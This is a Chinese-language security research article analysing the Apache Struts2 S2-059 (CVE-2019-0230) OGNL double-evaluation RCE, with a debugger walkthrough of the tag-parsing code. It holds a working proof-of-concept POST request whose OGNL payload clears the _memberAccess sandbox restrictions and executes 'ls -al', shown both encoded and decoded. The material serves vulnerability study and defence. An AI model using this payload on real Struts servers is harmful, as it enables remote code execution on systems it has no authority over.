Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析
2020-09-07 11:36:00 Author: paper.seebug.org(查看原文) 阅读量:493 收藏

作者:hu4wufu@白帽汇安全研究院
核对:r4v3zn@白帽汇安全研究院

前言

2020年8月13日虽然近几年来关于ONGL方面的漏洞已经不多了,但是毕竟是经典系列的RCE漏洞,还是有必要分析的。而且对于Struts2OGNL了解也有助于代码审计和漏洞挖掘。

首先了解一下什么是OGNLObject Graphic Navigation Language(对象图导航语言)的缩写,Struts框架使用OGNL作为默认的表达式语言。

struts2_S2_059S2_029漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的,细微差别会在分析中提到。

漏洞利用前置条件是需要特定标签的相关属性存在表达式%{payload},且payload可控并未做安全验证。这里用到的是a标签id属性。

id属性是该action的应用id

经过分析,受影响的标签有很多继承AbstractUITag类的标签都会受到影响,受影响的属性只有id

环境准备

测试环境:Tomcat 8.5.56JDK 1.8.0_131Struts 2.3.24

由于用Maven创建有错误没有解决,所以选用idea自带的创建struts2工程。

image-20200902152644201

创建好工程后,在web/WEB-INF下新建lib文件夹,然后将下载的jar包复制进去即可。

jsp测试文件:

image-20200827183717071

添加字段获取传参,并且显示到页面。

image-20200828105258605

漏洞验证

poc1:http://localhost:8082/test-S2-059.action?payload=%25%7b%31%2b%34%7d%0a

输入普通文本:

image-20200831102055197

输入ONGL表达式%{1+4},需要url转码%25%7b%31%2b%34%7d%0a

image-20200831101959482

poc2:

这里发送一个post包即可,构造思路在分析和总结中提到。

POST /s2_059/index.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Origin: http://localhost:8085
Connection: close
Referer: http://localhost:8085/s2_059_war/
Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0
Upgrade-Insecure-Requests: 1

payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

image-20200903181830195

漏洞分析

我们首先看一下漏洞的调用栈:

image-20200903174925463

不同版本的调用链可能会不一样,比如在较低的版本最终是在com.opensymphony.xwork2.util.TextParseUtil.classtranslateVariables()方法赋值。

漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-059

根据漏洞详情可知问题出现在标签解析的时候,所以我们从org.apache.struts2.views.jsp.ComponentTagSupportdoStartTag方法开始跟进,从这里开始进行jsp标签的解析。当用户发送请求的时候,doStartTag()开始执行。我们直接debug断点在解析标签的ComponentTagSupport的第一行。

image-20200903153944669

this.populateParams()进行赋值,所以我们跟进populateParams(),进行初始参数值的填充。

org.apache.struts2.views.jsp.ui.AnchorTag.class中存储着所有的标签对象。

image-20200903154020874

org.apache.struts2.views.jsp.ui.AbstractClosingTag.class这里是调用了父类AbstractUITagpopulateParams()方法。

image-20200903154123693

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()方法,触发setId()方法时会解析一次OGNL表达式。

往下跟父类的populateParams()方法。

UIBean uiBean = (UIBean)this.component;
uiBean.setCssClass(this.cssClass);
uiBean.setCssStyle(this.cssStyle);
uiBean.setCssErrorClass(this.cssErrorClass);
uiBean.setCssErrorStyle(this.cssErrorStyle);
uiBean.setTitle(this.title);
uiBean.setDisabled(this.disabled);
uiBean.setLabel(this.label);
uiBean.setLabelSeparator(this.labelSeparator);
uiBean.setLabelposition(this.labelPosition);
uiBean.setRequiredposition(this.requiredposition);
uiBean.setName(this.name);
uiBean.setRequired(this.required);
uiBean.setTabindex(this.tabindex);
uiBean.setValue(this.value);
uiBean.setTemplate(this.template);
uiBean.setTheme(this.theme);
uiBean.setTemplateDir(this.templateDir);
uiBean.setOnclick(this.onclick);
uiBean.setOndblclick(this.ondblclick);
uiBean.setOnmousedown(this.onmousedown);
uiBean.setOnmouseup(this.onmouseup);
uiBean.setOnmouseover(this.onmouseover);
uiBean.setOnmousemove(this.onmousemove);
uiBean.setOnmouseout(this.onmouseout);
uiBean.setOnfocus(this.onfocus);
uiBean.setOnblur(this.onblur);
uiBean.setOnkeypress(this.onkeypress);
uiBean.setOnkeydown(this.onkeydown);
uiBean.setOnkeyup(this.onkeyup);
uiBean.setOnselect(this.onselect);
uiBean.setOnchange(this.onchange);
uiBean.setTooltip(this.tooltip);
uiBean.setTooltipConfig(this.tooltipConfig);
uiBean.setJavascriptTooltip(this.javascriptTooltip);
uiBean.setTooltipCssClass(this.tooltipCssClass);
uiBean.setTooltipDelay(this.tooltipDelay);
uiBean.setTooltipIconPath(this.tooltipIconPath);
uiBean.setAccesskey(this.accesskey);
uiBean.setKey(this.key);
uiBean.setId(this.id);
uiBean.setDynamicAttributes(this.dynamicAttributes);

跟进其他属性到org.apache.struts2.components.UIBean.class发现AbstractUITag.class所有的属性除了id都是直接赋值。

@StrutsTagAttribute(
    description = "The template directory."
)
public void setTemplateDir(String templateDir) {
    this.templateDir = templateDir;
}
...
@StrutsTagAttribute(
    description = "Icon path used for image that will have the tooltip"
)
public void setTooltipIconPath(String tooltipIconPath) {
    this.tooltipIconPath = tooltipIconPath;
}

跟进setId()方法,会有一个findString()方法,这里也就解释了为什么是id属性进行解析了。

image-20200903154310526

如果id不为空,那么给id赋值用户传入的值。接着跟入findString()

image-20200903154418302

跟进findValue()方法,我们来看看赋值过程。

image-20200903154604887

如果altSyntax功能开启(此功能在S2-001的修复方案是将其默认关闭),altSyntax这个功能是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了。执行到TextParseUtil.translateVariables('%', expr, this.stack),然后在下面执行OGNL的表达式的解析,返回传入action的参数%{1+4},这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。

translateVariables()函数传过来的open参数的值是'%',在截取的时候是截取的 open之后的字符串,并把传入stack.OgnlValueStack,这也是我们的poc构造的时候要写成%{*}形式的原因。

跟到com.opensymphony.xwork2.util.TextParseUtil.class中的translateVariables()方法。

image-20200903154753011

translateVariables()方法while循环里加了一个maxLoopCount参数来限制递归解析的次数,break跳出循环(这是对S2-001的修复方案)。这里的maxLoopCount为1。

image-20200903163328457

while(true) {
    int start = expression.indexOf(lookupChars, pos);
    if (start == -1) {
        ++loopCount;
        start = expression.indexOf(lookupChars);
    }

    if (loopCount > maxLoopCount) {    //设置maxLoopCount参数,break跳出循环。
        break;
    }

接着往下跟,跟进evaluate()方法。

image-20200903173045918

最终在com.opensymphonny.xwork2.util:57完成第一次赋值。这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。

image-20200903172638621

所以我们回到ComponentTagSupport.classdoStartTag()方法,再跟一下标签对象的start()方法,这里会进行id值的二次解析。

image-20200903155106713

这里调用了父类ClosingUIBeanstart()方法

image-20200828154100040

跟到父类org.apache.struts2.components.ClosingUIBean.class,我们看一下evaluateParams()方法。

image-20200828122521560

org.apache.struts2.components.UIBean.classevaluateParams()方法中有很多属性使用findString()来获取值。

...

if (this.name != null) {
    name = this.findString(this.name);
    this.addParameter("name", name);
}

if (this.label != null) {
    this.addParameter("label", this.findString(this.label));
} else if (providedLabel != null) {
    this.addParameter("label", providedLabel);
}
...
if (this.onmouseout != null) {
    this.addParameter("onmouseout", this.findString(this.onmouseout));
}

但是除了id解析两次OGNL外,算上前面的setId()解析了一次,所以这里边的其他属性都仅解析了一次。

最终跟进populateComponentHtmlId()方法

image-20200903155637903

再跟进findStringIfAltSyntax()方法。

image-20200903155727702

在开启了altSyntax功能的前提下,可以看到这里对id属性再次进行了表达式的解析。

进入到findString()后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。

image-20200903155952976

跟进findvalue()

image-20200903161932296

org.apache.struts2.components.Component.classfindStringIfAltSyntax(),与前面一样又会执行一次TextParseUtil.translateVariables()方法。

image-20200903162215577

跟进com.opensymphony.xwork2.util.TextParseUtil.class:63return parser.evaluate(openChars, expression, ognlEval, maxLoopCount)

image-20200903174318571

这里可以看到表达式内容已经解析执行了。

思考

如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是altSyntax功能开启且需要特定标签id属性(暂未找到其他可行属性)存在表达式%{payload}payload可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。

我们知道此次S2-059与之前的S2-029S2-036类似都是OGNL表达式的二次解析而产生的漏洞,用S2-029的poc打不了S2-059搭建的环境。

S2-029的区别:S2-029是标签的name属性出现了问题,由于name属性调用了org.apache.struts2.components.Component.classcompleteExpressionIfAltSyntax()方法,会自动加上"%{}"这也就解释了S2-029payload不用加%{}的原因。

protected String completeExpressionIfAltSyntax(String expr) {
    return this.altSyntax() ? "%{" + expr + "}" : expr;
}

关于受影响标签:

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类AbstractUITag.populateParams()方法,触发setId()解析一次OGNL表达式。比如label标签(同样输入表达式%{1+4})。

image-20200902203922230

这里可以看到LabelTag.class继承了AbstractUITag.class

image-20200902210627793

关于版本问题:

官方说明影响范围是Apache Struts 2.0.0 - 2.5.20,这里测试了2.1.1和2.3.24版本。

不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。我测试了稍低版本Struts 2.2.1与稍高版本Struts 2.3.24,均可以控制输入值。

image-20200903112402259

关于回显:

%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}

OgnlContext_memberAccess变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被OGNL表达式所使用。

所以其中poc中需要设置#_memberAccess.allowPrivateAccess=true用来授权访问private方法,#_memberAccess.allowStaticMethodAccess=true用来授权允许调用静态方法,

#_memberAccess.excludedClasses=#_memberAccess.acceptProperties用来将受限的类名设置为空

#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties用来将受限的包名设置为空

#[email protected]@getResponse().getWriter()返回HttpServletResponse实例获取respons对象并回显。

#[email protected]@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()执行系统命令,使用java.util.Scanner一个文本扫描器,执行命令ls -al,将目录下的内容回显出来。

至于为什么加%{},在之前的分析中已经提及。

参考


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1331/


文章来源: https://paper.seebug.org/1331/
如有侵权请联系:admin#unsafe.sh